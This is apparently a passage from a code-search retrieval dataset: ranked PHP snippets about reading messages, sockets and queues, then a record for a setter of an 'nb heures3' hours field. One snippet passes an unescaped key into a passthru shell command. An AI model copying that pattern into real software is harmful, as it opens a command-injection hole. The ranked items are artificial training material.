{\n\t\t\t\t$fullResult = substr($fullResult, $pos);\n\t\t\t}\n\t\t}\n\t\treturn trim($fullResult);\n\t}", "title": "" }, { "docid": "76534587ead22481c2670d924bb90eb9", "score": "0.5355987", "text": "public function events_sms_read_get($eventId)\n\t{\n\t\treturn $this->_request('/my/events/sms/' . $eventId . '/read/','get');\n\t}", "title": "" }, { "docid": "9388ec50aa6495e5249195c383ee31cc", "score": "0.5326951", "text": "public function onRead() {}", "title": "" }, { "docid": "662b533d91550856e644cac12c93cfa4", "score": "0.53260064", "text": "public function read()\n {\n }", "title": "" }, { "docid": "662b533d91550856e644cac12c93cfa4", "score": "0.53260064", "text": "public function read()\n {\n }", "title": "" }, { "docid": "0efa435149de234697628074bf475fa7", "score": "0.53129756", "text": "abstract protected function _readNext();", "title": "" }, { "docid": "db56c39b1d51cd736e73cef9a443cea9", "score": "0.530772", "text": "private function getMessagesFromSocket( $socket ) {\n\n $socketIndex = array_search( $socket, $this->sockets, true );\n $buffer = $this->readBuffer[ $socketIndex ];\n\n // --------------------------------------------------------------------\n // Populate the MessageBuffer from the socket\n // --------------------------------------------------------------------\n\n $data = '';\n\n // \"socket_recv() returns the number of bytes received, or FALSE if there was an error\"\n $dataLen = socket_recv( $socket, $data, 64 * 1024, MSG_DONTWAIT );\n\n // There was an error\n if ( $dataLen === false ) {\n $this->log( 'Error on recv(): '. socket_strerror( socket_last_error() ) );\n throw new \\Exception( socket_strerror( socket_last_error() ) );\n }\n\n // Connection was dropped by peer. Calling code can decide if this is\n // an error or not by catching the exception (for the Server this is\n // probably an error, as Workers shouldn't disconnect before the Server,\n // but for Workers the Server disconnecting is a signal that there's no\n // more jobs; maybe do this more cleanly later, by sending a \"close\" message\n // to the Workers from the Server like HTTP does...).\n if ( $dataLen === 0 )\n throw new SocketDisconnectedException( 'Socket disconnected' );\n\n $this->log( 'Recvd '. $dataLen .' bytes from '. $socketIndex );\n $this->populateMessageBuffer( $data, $buffer );\n\n // --------------------------------------------------------------------\n // Get finished Message objects from the MessageBuffer\n // --------------------------------------------------------------------\n\n $messages = array();\n\n while ( $buffer->hasMessage ) {\n\n $messages[] = $buffer->message;\n // Check if we received multiple messages' data from the socket\n $overflowBytes = $buffer->bodyLen - $buffer->message->headers[ 'body-len' ];\n\n // We got more bytes than the message consists of, so we got (possibly\n // partially) other messages' data\n if ( $overflowBytes > 0 ) {\n\n $this->log( 'Recvd multiple messages from socket (overflow: '. $overflowBytes .' b)' );\n\n $overflow = substr( $buffer->message->body, -$overflowBytes );\n $buffer->message->body .= substr( $buffer->message->body, 0, -$overflowBytes );\n $messages[] = $buffer->message;\n\n $buffer = new MessageBuffer();\n $this->readBuffer[ $socketIndex ] = $buffer;\n\n $this->populateMessageBuffer( $overflow, $buffer );\n }\n // We got the whole message, and nothing more (no overflow to the next message)\n else {\n\n $buffer = new MessageBuffer();\n $this->readBuffer[ $socketIndex ] = $buffer;\n }\n }\n\n return $messages;\n }", "title": "" }, { "docid": "bb259b799853d433db3cef3649400ff5", "score": "0.53008854", "text": "private function readFromComet($key)\n {\n $cmd = \"{$this->cometSrv} read {$key} 2>&1\";\n ob_start();\n passthru($cmd);\n $result = trim(ob_get_contents());\n ob_end_clean();\n return $result;\n }", "title": "" }, { "docid": "f472e2aadd513e5ea4106be9eea039d7", "score": "0.5295986", "text": "public static function readMessage($handle)\n\t{\n\t\tif (self::_fileHasGribMessage($handle)) {\n\t\t\t$messageSize = self::_readMessageSizeFromFile($handle);\n\t\t\t$gribVersion = ord(self::_readStringFromFile($handle, self::GRIB_VERSION_FIELD_LENGHT));\n\t\t\t\n\t\t\tif ($gribVersion != 1)\n\t\t\t\tthrow new GribDecoderException('', GribDecoderException::UNSUPPORTED_GRIB_VERSION);\n\n\t\t\t/*\n\t\t\t * Rewind file pointer to the beginning of Indicator Section \n\t\t\t * to read entire GRIB message for decoding.\n\t\t\t */\n\t\t\tfseek($handle,\n\t\t\t\t-(self::MESSAGE_IDENTIFICATOR_LENGHT + \n\t\t\t\t self::MESSAGE_SIZE_FIELD_LENGHT +\n\t\t\t\t self::GRIB_VERSION_FIELD_LENGHT\n\t\t\t\t),\n\t\t\t\tSEEK_CUR);\n\t\t\t$gribMessage = self::_readStringFromFile($handle, $messageSize);\n\t\t\treturn GribMessageDecoder::decode($gribMessage);\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "69ca99e62016f981c15f4150ed1a4140", "score": "0.5290533", "text": "function messageReadByRecipient($messageUid, $recipientUser='') {\n\t\t\n\t\t// check given user or check current user if not set\n\t\t$recipient = $recipientUser ? $recipientUser : $GLOBALS['TSFE']->fe_user->user['uid'];\n\t\t\n\t\t#debug($recipient);\n\t\t\n\t\t$fields = '*';\n\t\t$table = 'tx_keinsitemailbox_log';\n\t\t$where = 'message=\"'.intval($messageUid).'\" AND recipient=\"'.intval($recipient).'\" AND action=\"read\" ';\n\t\t$res = $GLOBALS['TYPO3_DB']->exec_SELECTquery($fields,$table,$where,$groupBy='',$orderBy='',$limit='');\n\t\t$anz = $GLOBALS['TYPO3_DB']->sql_num_rows($res);\n\t\treturn $anz ? true : false;\n\t}", "title": "" }, { "docid": "b1b7715b507b8be7a48922254bed8bf3", "score": "0.5287952", "text": "protected function _updateRead()\r\n\t{\r\n\t\t\r\n\t}", "title": "" }, { "docid": "7f00e0d5ee691b8d41cd1c99b09b8a36", "score": "0.52854556", "text": "public function read()\n {\n $this->pool->setPending([]);\n $workers = $this->pool->getWorkers();\n foreach ($workers as $worker) {\n $this->emitter->emit('peridot.concurrency.worker.completed', [$worker]);\n }\n }", "title": "" }, { "docid": "7ef7bb50b5ecd197edbb0f33aba0a162", "score": "0.52851045", "text": "public function receive()\n {\n try {\n // Receive a message from the queue\n $result = $this->sqs_client->receiveMessage(array(\n 'QueueUrl' => $this->url\n ));\n\n if ($result['Messages'] == null) {\n // No message to process\n return false;\n }\n\n // Get the message and return it\n $result_message = array_pop($result['Messages']);\n return new Message($result_message['Body'], $result_message['ReceiptHandle']);\n } catch (Exception $e) {\n echo 'Error receiving message from queue ' . $e->getMessage();\n return false;\n }\n }", "title": "" }, { "docid": "cd47f30a45d3f7e92d980f6737e5f71c", "score": "0.5276585", "text": "function net_read($handle, int $size = -1)\n {\n return Networks::read($handle, $size);\n }", "title": "" }, { "docid": "5d386ce1c58f52f825b015aee25522e9", "score": "0.5271429", "text": "public function message_read($id)\n {\n $this->db->where('user_id', $id);\n \n if($this->db->update('tbl_messages', array('read' => 1)))\n {\n return true;\n }\n else\n {\n return false;\n }\n }", "title": "" }, { "docid": "da953df51c20fbc83b7899371dace87f", "score": "0.5267261", "text": "public static function getMessagesWithReadToken($token) {\n return self::getAll(self::T(DB::MESSAGE), new DBCond('read_token', $token));\n }", "title": "" }, { "docid": "67b06c25136af0d08866f132be311262", "score": "0.5265516", "text": "public function read_private()\n {\n $sql1 = \"SELECT `ID`, `TimeOut`, `Signal` FROM phones\";\n $query1 = $this->objDbGammu->prepare($sql1);\n $query1->execute(array());\n $result1 = $query1->fetch(PDO::FETCH_ASSOC);\n $this->objDaemon->setKey('lastUsedSuccessfully', $result1['TimeOut']);\n $this->objDaemon->setKey('intScope', $result1['Signal']);\n $this->objDaemon->write();\n\n $sql = \"SELECT ID, SenderNumber, UDH, TextDecoded, RecipientID FROM inbox WHERE processed = 'false'\";\n $query = $this->objDbGammu->prepare($sql);\n $query->execute(array());\n $result = $query->fetchAll(PDO::FETCH_ASSOC);\n if ($result == false) {\n return null;\n }\n $UDH = array();\n $return = 0;\n foreach ($result as $message) {\n try {\n // UDH is the SMS standard handler for longer text messages.\n if ($message['UDH'] != '') {\n // UDH starts 050003 (chars 0-5)\n // (Not stored here!)\n // then has a \"unique message byte\" (chars 6-7)\n $uniq = 0 + substr($message['UDH'], 6, 2);\n // then the number of messages in this long message (chars 8-9)\n $size = 0 + substr($message['UDH'], 8, 2);\n // lastly this message number (chars 10-11)\n $mNum = 0 + substr($message['UDH'], 10, 2);\n \n // Store each part in an array\n $UDH[$uniq][$mNum] = $message['TextDecoded'];\n // Sort it by the message part (so in other words, sort \n // everything under $UDH[$uniq]\n ksort($UDH[$uniq]);\n // Then, if we've got the whole message, store it, then mark\n // it as completed, and ditch the elements from the UDH\n // array.\n if(count($UDH[$uniq]) == $size) {\n if (count(Object_Input::brokerByColumnSearch('strSender', $message['SenderNumber'], false, false, 1, 'DESC')) == 0) {\n $this->objDaemon->setKey('intUniqueCounter', $this->objDaemon->getKey('intUniqueCounter') + 1);\n }\n\n $text = '';\n foreach($UDH[$uniq] as $textPart) {\n $text .= $textPart;\n }\n $strSender = $message['SenderNumber'];\n $textMessage = $text;\n $intNativeID = $message['ID'];\n Object_Input::import($strSender, $this->strInterface, $textMessage, $intNativeID);\n $sqlUpdateInbox = \"UPDATE inbox SET processed = 'true' WHERE UDH = ?\";\n $qryUpdateInbox = $this->objDbGammu->prepare($sqlUpdateInbox);\n $qryUpdateInbox->execute(array('050003' . $uniq . '%'));\n unset($UDH[$uniq]);\n\n $this->objDaemon->setKey('intInboundCounter', $this->objDaemon->getKey('intInboundCounter') + 1);\n $return++;\n $this->objDaemon->write();\n }\n } else {\n if (count(Object_Input::brokerByColumnSearch('strSender', $message['SenderNumber'], false, false, 1, 'DESC')) == 0) {\n $this->objDaemon->setKey('intUniqueCounter', $this->objDaemon->getKey('intUniqueCounter') + 1);\n }\n\n $strSender = $message['SenderNumber'];\n $textMessage = $message['TextDecoded'];\n $intNativeID = $message['ID'];\n Object_Input::import($strSender, $this->strInterface, $textMessage, $intNativeID);\n $sqlUpdateInbox = \"UPDATE inbox SET processed = 'true' WHERE ID = ?\";\n $qryUpdateInbox = $this->objDbGammu->prepare($sqlUpdateInbox);\n $qryUpdateInbox->execute(array($message['ID']));\n\n $this->objDaemon->setKey('intInboundCounter', $this->objDaemon->getKey('intInboundCounter') + 1);\n $return++;\n $this->objDaemon->setKey('lastUsedSuccessfully', date('Y-m-d H:i:s'));\n $this->objDaemon->write();\n }\n } catch (Exception $e) {\n error_log('Error moving data from Gammu Inbox to CFM2 Inbox: ' . $e->getMessage());\n }\n }\n return $return;\n }", "title": "" }, { "docid": "525a8b938ad1a6cacbfb994c61a0dbe7", "score": "0.52559465", "text": "public function markRead()\n {\n $this->message->markRead($this->participant);\n }", "title": "" }, { "docid": "fdd274a1e5ccb8003371431c83dafc42", "score": "0.523901", "text": "function read_socket(StreamSocketInterface $socket, int $size = -1)\n\t{\n\t\treturn $socket->read($size);\n\t}", "title": "" }, { "docid": "c0d6f61febec613b734aa514eae421c6", "score": "0.5238778", "text": "function ReadQueue() {\n for( $i = 0; $this->CheckQueue(); $i++ ) {\n $this->write( \"QR\" ); // Queue Read\n $queue[$i] = new IgluMessage( $this->read() );\n }\n return $queue;\n }", "title": "" }, { "docid": "8045ebf3744dc3a5fdb36c180dc22c9e", "score": "0.5237842", "text": "function waitForRead($socket) {\n return new SystemCall(\n function(Task $task, Scheduler $scheduler) use ($socket) {\n $scheduler->waitForRead($socket, $task);\n }\n );\n}", "title": "" } ]
fe14fd526ddf2ca486d13e227843c91a
Set the nb heures3.
[ { "docid": "abf874d16dc94dbbfcf45796b01b61d1", "score": "0.7863749", "text": "public function setNbHeures3($nbHeures3) {\n $this->nbHeures3 = $nbHeures3;\n return $this;\n }", "title": "" } ]
[ { "docid": "3f3723e454df27836266576f61f4cc1b", "score": "0.7329585", "text": "public function getNbHeures3() {\n return $this->nbHeures3;\n }", "title": "" }, { "docid": "d0a3cbc9ad7380491f210a301c997385", "score": "0.64799875", "text": "public function setNbHeures1($nbHeures1) {\n $this->nbHeures1 = $nbHeures1;\n return $this;\n }", "title": "" }, { "docid": "423a3f15151cf495dc3e1898cf9df506", "score": "0.5914455", "text": "public function setNbHeures2($nbHeures2) {\n $this->nbHeures2 = $nbHeures2;\n return $this;\n }", "title": "" }, { "docid": "4ec27a824f312187481c76b386702bef", "score": "0.58930147", "text": "public function getNbHeures1() {\n return $this->nbHeures1;\n }", "title": "" }, { "docid": "6c1ab4ad53414e619b75260858be821b", "score": "0.5818453", "text": "public function setSet3($set) {\n\t\t$this->set3 = $set;\n\t}", "title": "" }, { "docid": "264087ed288beaa81d19be45917768f7", "score": "0.5612088", "text": "public function setNbrHeures(?float $nbrHeures): BudgetL {\n $this->nbrHeures = $nbrHeures;\n return $this;\n }", "title": "" }, { "docid": "7c3b6041fd86fc69bfa5d102d85edcac", "score": "0.55998164", "text": "public function setNbHeureSup($nbHeureSup) {\n $this->nbHeureSup = $nbHeureSup;\n return $this;\n }", "title": "" }, { "docid": "3aeaaf3f9bfd118a19d2d7ab1d049fe5", "score": "0.5552904", "text": "public function setNbJours3($nbJours3) {\n $this->nbJours3 = $nbJours3;\n return $this;\n }", "title": "" }, { "docid": "643dc314dd0c933e279af8165bb0cac0", "score": "0.55270684", "text": "public function setNbHeureSal($nbHeureSal) {\n $this->nbHeureSal = $nbHeureSal;\n return $this;\n }", "title": "" }, { "docid": "0cf87376c9c9a148bb230d6b0eacff5c", "score": "0.5474337", "text": "public function getNbHeures2() {\n return $this->nbHeures2;\n }", "title": "" }, { "docid": "69b610644a45fd5bd563784b5fa9106c", "score": "0.54722464", "text": "public function _setTestkit3($testkit3) {\n\t\t$this->_testkit3 = $testkit3;\n\t}", "title": "" }, { "docid": "9d66d8b74e409f944d743e2d29e5b4a7", "score": "0.52969146", "text": "function setFirstThree($ft)\n {\n $this->firstThree = $ft;\n }", "title": "" }, { "docid": "4f6e5b9d921d53d3641791891928e115", "score": "0.5296876", "text": "function Initialisation_intermediaire(&$nb_cases_horizontales, &$nb_cases_verticales, &$nb_bombes)\n{\n $nb_cases_horizontales = 16;\n $nb_cases_verticales = 16;\n\n $nb_bombes = 40;\n}", "title": "" }, { "docid": "6c3c3b58e191bbb51511e74626869527", "score": "0.52630746", "text": "public function setNbHeureTrav($nbHeureTrav) {\n $this->nbHeureTrav = $nbHeureTrav;\n return $this;\n }", "title": "" }, { "docid": "5f09b3c7d324207024edb19e528fb585", "score": "0.52005273", "text": "public function setData3($data3)\n {\n $this->data3 = $data3;\n\n return $this;\n }", "title": "" }, { "docid": "fe440ad9b36ba9a1e2df1ba89c1c7359", "score": "0.51942474", "text": "public function setNbHeureMois($nbHeureMois) {\n $this->nbHeureMois = $nbHeureMois;\n return $this;\n }", "title": "" }, { "docid": "fe440ad9b36ba9a1e2df1ba89c1c7359", "score": "0.51942474", "text": "public function setNbHeureMois($nbHeureMois) {\n $this->nbHeureMois = $nbHeureMois;\n return $this;\n }", "title": "" }, { "docid": "4600236ac21c7c7246235a771d9b7948", "score": "0.5189649", "text": "public function setNbVictoires($nbVictoires)\n\t{\n\t\t$this->_nbVictoires = $nbVictoires;\n\t}", "title": "" }, { "docid": "5a105f624070ba9d59cca57031037c7d", "score": "0.5124764", "text": "public function initTbalunosRelatedById3grau()\n\t{\n\t\t$this->collTbalunosRelatedById3grau = array();\n\t}", "title": "" }, { "docid": "90f554d7e8c12956df81f69a8813a83e", "score": "0.5088287", "text": "function setNum_habit_indiv($inum_habit_indiv = '')\n {\n $this->inum_habit_indiv = $inum_habit_indiv;\n }", "title": "" }, { "docid": "452439410064a4f6ffca279fe8685b66", "score": "0.5085244", "text": "public function setNbHNonEffectue(?float $nbHNonEffectue): HeuresAbsence {\n $this->nbHNonEffectue = $nbHNonEffectue;\n return $this;\n }", "title": "" }, { "docid": "3f08411d5c8c561a31eb0b3a743964c3", "score": "0.5015713", "text": "function Initialisation_expert(&$nb_cases_horizontales, &$nb_cases_verticales, &$nb_bombes)\n{\n $nb_cases_horizontales = 40;\n $nb_cases_verticales = 16;\n\n $nb_bombes = 99;\n}", "title": "" }, { "docid": "682de41f25edfbb6cfc33017d330f2cb", "score": "0.4954778", "text": "public function getNbrHeures(): ?float {\n return $this->nbrHeures;\n }", "title": "" }, { "docid": "5889255e9d144e953bbe74192fdeec0b", "score": "0.49526122", "text": "public function setThirdHeading(XAbstractHTML $elem) {\n $this->thrast_tpl = $elem;\n }", "title": "" }, { "docid": "152e90813f1d7f31c95cd9091a9487cb", "score": "0.4937088", "text": "public function getNbJours3() {\n return $this->nbJours3;\n }", "title": "" }, { "docid": "c5241b712ff3d9bef99b3c43d934cff9", "score": "0.4929378", "text": "public function initTbalunobackupsRelatedById3grau()\n\t{\n\t\t$this->collTbalunobackupsRelatedById3grau = array();\n\t}", "title": "" }, { "docid": "e8c9b2fa15ce9652661ebd02b8a3eb60", "score": "0.48707345", "text": "public function setName3($name3) {\n\t\t$this->name3 = $name3;\n\t}", "title": "" }, { "docid": "b2b620391d115f0e422ba5888e799789", "score": "0.4851082", "text": "public function init(){\n $this->heart = (int) ((($this->heart) * (100 + $this->defendingPercentage))/100);\n $this->maxHeart = $this->heart;\n parent::init();\n }", "title": "" }, { "docid": "70954f9a8f973209cff991e867532457", "score": "0.4799319", "text": "public function setNbleUrl($nble_url);", "title": "" }, { "docid": "83d857287e09de8b8f89e94c5824fcf8", "score": "0.4799063", "text": "public function __construct()\n {\n $this->setNbCouchage(6);\n $this->setNbWC(1);\n $this->setNbDouche(1);\n $this->setNbCuisine(1);\n }", "title": "" }, { "docid": "ef5a66d1380c8b8b4bae714b781bc887", "score": "0.4754156", "text": "public function getSet3() {\n\t\treturn $this->set3;\n\t}", "title": "" }, { "docid": "aa219bbbd248dd9b2e27da69897307ef", "score": "0.4736632", "text": "public function getNbHeureSup() {\n return $this->nbHeureSup;\n }", "title": "" }, { "docid": "880f8f51b7ec48ec859d71fb4b5f609c", "score": "0.47098547", "text": "public function setNbHRetenueSalaire(?float $nbHRetenueSalaire): HeuresAbsence {\n $this->nbHRetenueSalaire = $nbHRetenueSalaire;\n return $this;\n }", "title": "" }, { "docid": "ec7376d05cadfe97bb08b4dce1d5f78f", "score": "0.4676789", "text": "function _build_box3_front(&$data) {\r\n\t\t$this->obj->load->model('hs_configmodel');\r\n\t\t$dataConf = $this->obj->hs_configmodel->findAll();\r\n\t\t$arydata['congdong'] = $this->get_box_group5($dataConf[0]['number_chuyen_gd']);\r\n\t\t$arydata['kinhnghiem'] = $this->_get_box_kinh_nghiem($dataConf[0]['number_chiase']);\r\n\t\t\r\n\t\t$data['box3_area'] .= $this->obj->load->view('boxs/box3_tpl', $arydata, TRUE);\r\n\t}", "title": "" }, { "docid": "e2deeae8b2a23efecb05b6890a0cae71", "score": "0.46665096", "text": "public function getPref3()\n {\n return $this->pref3;\n }", "title": "" }, { "docid": "3ea64f29fba4a065944e416567faaea8", "score": "0.466425", "text": "function setSampleCount($count)\n {\n \t$this->sampleCount = $count;\n }", "title": "" }, { "docid": "38e041435b810c8b3aaa93807640d9bc", "score": "0.46481526", "text": "function setNombrePonts($nb){\n $this->nombrePonts=$nb;\n }", "title": "" }, { "docid": "5c992e1532b3eb4ff9db85e4931b9b4c", "score": "0.460296", "text": "function set_vars($hash)\n {\n $this->_interpolation_vars = array_merge($this->_interpolation_vars,\n $hash);\n }", "title": "" }, { "docid": "a6b50f1554ee3a217fbcbd1310fee05b", "score": "0.46010846", "text": "function set()\r\n\t{\r\n\t\tglobal $_myice;\r\n\t\t$args = func_get_args();\r\n\r\n\t\tswitch(count($args)) {\r\n\t\tcase 3:\r\n\t\t\t$_myice->info[$args[0]][$args[1]] = $args[2];\r\n\t\t\tbreak;\r\n\t\tcase 4:\r\n\t\t\t$_myice->info[$args[0]][$args[1]][$args[2]] = $args[3];\r\n\t\t\tbreak;\r\n\t\tcase 5:\r\n\t\t\t$_myice->info[$args[0]][$args[1]][$args[2]][$args[3]] = $args[4];\r\n\t\t\tbreak;\t\t\t\r\n\t\tdefault:\r\n\t\t\techo \"??? unknown set\";\r\n\t\t\tdie;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "6d44713dfff5d426f96b45ddbdfa3370", "score": "0.45995805", "text": "public function setSuiviHeures($suiviHeures) {\n $this->suiviHeures = $suiviHeures;\n return $this;\n }", "title": "" }, { "docid": "7e7080fda02b0a5b8bb2d25387febeaa", "score": "0.45950648", "text": "public function setNbHoursEstimate($nbHours)\n {\n $this->nb_hours_estimate = $nbHours;\n }", "title": "" }, { "docid": "b6de9882690816a3ec29868bf98e44e2", "score": "0.45744058", "text": "public function setHsi($hsi);", "title": "" }, { "docid": "6f0ba8b3d49d3c52a11c92d79166bfc8", "score": "0.45605624", "text": "public function setTestkit3($testkit3) {\n\t\t$this->_setTestkit3($testkit3);\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "723c708cbd116d38ae1ecbc0707b1e86", "score": "0.45507735", "text": "public function getCumPlaf1Caisse3() {\n return $this->cumPlaf1Caisse3;\n }", "title": "" }, { "docid": "cb331ebaafbed558e98edcb4e0bbc887", "score": "0.45472854", "text": "function h3() {\r\n\t\t$this->generate_tag(\"h3\", false);\r\n\t}", "title": "" }, { "docid": "1e6092247d422a174f02d335df3f5736", "score": "0.45433903", "text": "function set_data($numbers)\n {\n $a = new matrix($numbers);\n $this->numbers = $a->numbers;\n $this->numRows = $a->numRows;\n $this->numColumns = $a->numColumns;\n }", "title": "" }, { "docid": "184dc2ced448faacc87d3db31a0af29c", "score": "0.4541244", "text": "function Initialisation_debutant(&$nb_cases_horizontales, &$nb_cases_verticales, &$nb_bombes)\n{\n $nb_cases_horizontales = 9;\n $nb_cases_verticales = 9;\n\n $nb_bombes = 10;\n}", "title": "" }, { "docid": "ca4ba89534773d4e8c35bbfb23323ba3", "score": "0.4528103", "text": "function waBox($num=1) {\n $this->asTable=1;\n $this->showTitle = 1;\n $this->colunas = $num;\n }", "title": "" }, { "docid": "177042ded87e2e3ec225b686365a479d", "score": "0.45201936", "text": "public function getNbHeureSal() {\n return $this->nbHeureSal;\n }", "title": "" }, { "docid": "d6138050d2cc1a799e2f41af324a5ee7", "score": "0.45091426", "text": "private function setSizes()\n {\n list($w, $h) = getimagesize($this->file);\n $prop = $w / $h;\n $this->t['new_h'] = $this->max['h'];\n $this->t['new_w'] = $this->max['w'];\n $this->t['old_w'] = $w;\n $this->t['old_h'] = $h;\n if ($w > $this->max['w'] || $h > $this->max['h']) {\n $this->t['new_w'] = $this->max['w'];\n $this->t['new_h'] = $this->max['w'] / $prop;\n if ($this->t['new_h'] > $this->max['h']) {\n $this->t['new_h'] = $this->max['h'];\n $this->t['new_w'] = $this->max['h'] * $prop;\n }\n }\n }", "title": "" }, { "docid": "65ab347b95083e4ad399ab2600e2ddfa", "score": "0.45087925", "text": "public function setGifNumberAttribute($var)\n\t{\n\t\t$prefix \t= date('ymd').'.CONSUMER.TLAB.';\n\n\t\tif(is_null($var)){\n\t\t\t$var\t= $this->structured('gif_number', $prefix);\n\t\t}\n\n\t\t$this->attributes['gif_number'] \t= $var;\n\t}", "title": "" }, { "docid": "3964893887eb6566ba08eb6f84c7a46d", "score": "0.4505356", "text": "public function setHighLoadBlockData($data)\n {\n $this->highLoadBlockData = $data;\n }", "title": "" }, { "docid": "e349eebd8a12fb7c60952152f6b1ceec", "score": "0.45041776", "text": "public function setCount(int $number);", "title": "" }, { "docid": "b8ecbeceda6afce85b624cfd2bd6aac7", "score": "0.45015973", "text": "function setNumber($number)\r\n {\r\n $this->_number = $number;\r\n }", "title": "" }, { "docid": "c4f5cd129ac8ea919ce06e66281265eb", "score": "0.45013914", "text": "public function getCubaNum()\n {\n return $this->cuba->cuba;\n }", "title": "" }, { "docid": "8313fc5ab248055e9d832a234ec50a53", "score": "0.44986674", "text": "public function set_nbreNains(Int $_nbreNains){\n $this->_nbreNains = $_nbreNains;\n\n return $this;\n}", "title": "" }, { "docid": "161a8471ab65bb73cae9951818e8c320", "score": "0.4498381", "text": "function setPlayCount($n) {\n\t\t\tglobal $sql_type,$sql_pw,$sql_usr,$sql_socket,$sql_db;\n\t\t\t\n\t\t\tif (!(is_int($n) || is_numeric($n))) {\n\t\t\t\treturn false;\n\t\t\t}\n $path = jz_db_escape($this->getPath(\"String\"));\n jz_db_simple_query(\"UPDATE jz_nodes SET playcount = $n WHERE path = '$path'\");\n\t\t}", "title": "" }, { "docid": "161a8471ab65bb73cae9951818e8c320", "score": "0.4498381", "text": "function setPlayCount($n) {\n\t\t\tglobal $sql_type,$sql_pw,$sql_usr,$sql_socket,$sql_db;\n\t\t\t\n\t\t\tif (!(is_int($n) || is_numeric($n))) {\n\t\t\t\treturn false;\n\t\t\t}\n $path = jz_db_escape($this->getPath(\"String\"));\n jz_db_simple_query(\"UPDATE jz_nodes SET playcount = $n WHERE path = '$path'\");\n\t\t}", "title": "" }, { "docid": "c4f6cc51c69611d31454d19132c8d1ac", "score": "0.44616675", "text": "public function set_height($h) {\n $this->dimension['height'] = $h;\n }", "title": "" }, { "docid": "e0d0942a2fd135fa964209b5f8bb93f3", "score": "0.4452087", "text": "public function testSetRemiseLigne3() {\n\n $obj = new CdeFournisseurLigne();\n\n $obj->setRemiseLigne3(10.092018);\n $this->assertEquals(10.092018, $obj->getRemiseLigne3());\n }", "title": "" }, { "docid": "e58824b017e6fd09bb08bdc1188d1b23", "score": "0.4445071", "text": "private function setBlockAndBlockWeek() {\n if(!empty($this->pblRef)) { \n if(strstr($this->pblRef,'.') !== false) {\n $explode = explode(\".\",$this->pblRef);\n if(count($explode) == 2) {\n $this->pblBlock = (int)$explode[0];\n $this->pblBlockWeek = (int)$explode[1];\n }\n }\n }\n }", "title": "" }, { "docid": "641e40db48a1562794904d93c22557c6", "score": "0.44400182", "text": "public function get_dimension_3_code() {\n\t\treturn $this->Dim3;\n\t}", "title": "" }, { "docid": "c78a35a429b61f49a2f79762b9c64e20", "score": "0.44342244", "text": "public function setBuzzNum($i);", "title": "" }, { "docid": "2046a10e01a3c3a6178c53f9c8072c7b", "score": "0.44251174", "text": "public function testSetRemiseLigne3() {\n\n $obj = new MouvementsStock();\n\n $obj->setRemiseLigne3(10.092018);\n $this->assertEquals(10.092018, $obj->getRemiseLigne3());\n }", "title": "" }, { "docid": "72dba71c6972a18275a579f32171b328", "score": "0.44108206", "text": "public function __construct () {\n\t $this->BlockTypes['!'][] = 'Figure';\n\t}", "title": "" }, { "docid": "c10cb214918a679c5ca6b3bfeaea8dd4", "score": "0.4401049", "text": "public function setHashCount($hashCount = NULL) {\n\t\tself::$hashCount = !is_NULL($hashCount) && is_int($hashCount) && $hashCount >= $this->getMinHashCount() && $hashCount <= $this->getMaxHashCount() ? $hashCount : self::HASH_COUNT;\n\t}", "title": "" }, { "docid": "c6461ed50376362d35f273e9315b3024", "score": "0.4400506", "text": "function setNumber($number){\r\n\t\t$this->dbq->setNumber($this->id,$number);\r\n\t}", "title": "" }, { "docid": "d53f7f086c80bc51cbb41ae22f8a99ff", "score": "0.4399203", "text": "public function setMerge3($value)\n {\n return $this->set('Merge3', $value);\n }", "title": "" }, { "docid": "738fa4e7519c2e88cd3aafee127316a9", "score": "0.4384334", "text": "function set($args)\r\n\t{\r\n\t\t\r\n\t\tswitch(count($args)) {\r\n\t\t\tcase 3:\r\n\t\t\t\t$this->info[$args[0]][$args[1]] = $args[2];\r\n\t\t\t\tbreak;\r\n\t\t\tcase 4:\r\n\t\t\t\t$this->info[$args[0]][$args[1]][$args[2]] = $args[3];\r\n\t\t\t\tbreak;\r\n\t\t\tcase 5:\r\n\t\t\t\t$this->info[$args[0]][$args[1]][$args[2]][$args[3]] = $args[4];\r\n\t\t\t\tbreak;\t\t\t\r\n\t\t\tdefault:\r\n\t\t\t\techo \"??? unknown set\";\r\n\t\t\t\tdie;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "e8fd93ccbb12a3ef1ffc6cab8f1c3787", "score": "0.43670452", "text": "function set_weight_lbs($value) {\n $this->weight_kg = floatval($value) / 2.2046226218\n\n}", "title": "" }, { "docid": "c74b14e257fcf9ca02da35d624dcf256", "score": "0.436142", "text": "function set_priority($n = 3)\n\t{\n\t\tif ( ! is_numeric($n))\n\t\t{\n\t\t\t$this->priority = 3;\n\t\t\treturn;\n\t\t}\n\t\n\t\tif ($n < 1 OR $n > 5)\n\t\t{\n\t\t\t$this->priority = 3;\n\t\t\treturn;\n\t\t}\n\t\n\t\t$this->priority = $n;\n\t}", "title": "" }, { "docid": "01a2debc7a8751dd8ff6fb4a4b76f328", "score": "0.4361167", "text": "public function setNbhabitant($nbhabitant)\n {\n $this->nbhabitant = $nbhabitant;\n\n return $this;\n }", "title": "" }, { "docid": "59eaeeb2838914f52311b3fb0709e07a", "score": "0.43492544", "text": "public function setMetros($num) {\n $this->metros = $num;\n }", "title": "" }, { "docid": "64327a66713f6e0fcaaa72d4bfaa815a", "score": "0.43386543", "text": "function setNrOfUnmeasuredInnerRings($value)\n\t{\n\t\t$this->nrOfUnmeasuredInnerRings = $value;\n\t}", "title": "" }, { "docid": "c2d7ea4ba902e96614eae47fcc066cd7", "score": "0.43310112", "text": "function setViewCount($n) {\n\t\t\tglobal $sql_type,$sql_pw,$sql_usr,$sql_socket,$sql_db;\n\n\t\t\tif (!(is_int($n) || is_numeric($n))) {\n\t\t\t\treturn false;\n\t\t\t}\n $path = jz_db_escape($this->getPath(\"String\"));\n jz_db_simple_query(\"UPDATE jz_nodes SET viewcount = $n WHERE path = '$path'\");\n\t\t}", "title": "" }, { "docid": "c2d7ea4ba902e96614eae47fcc066cd7", "score": "0.43310112", "text": "function setViewCount($n) {\n\t\t\tglobal $sql_type,$sql_pw,$sql_usr,$sql_socket,$sql_db;\n\n\t\t\tif (!(is_int($n) || is_numeric($n))) {\n\t\t\t\treturn false;\n\t\t\t}\n $path = jz_db_escape($this->getPath(\"String\"));\n jz_db_simple_query(\"UPDATE jz_nodes SET viewcount = $n WHERE path = '$path'\");\n\t\t}", "title": "" }, { "docid": "023729706a4f840d4fbe51bc346bb112", "score": "0.43296334", "text": 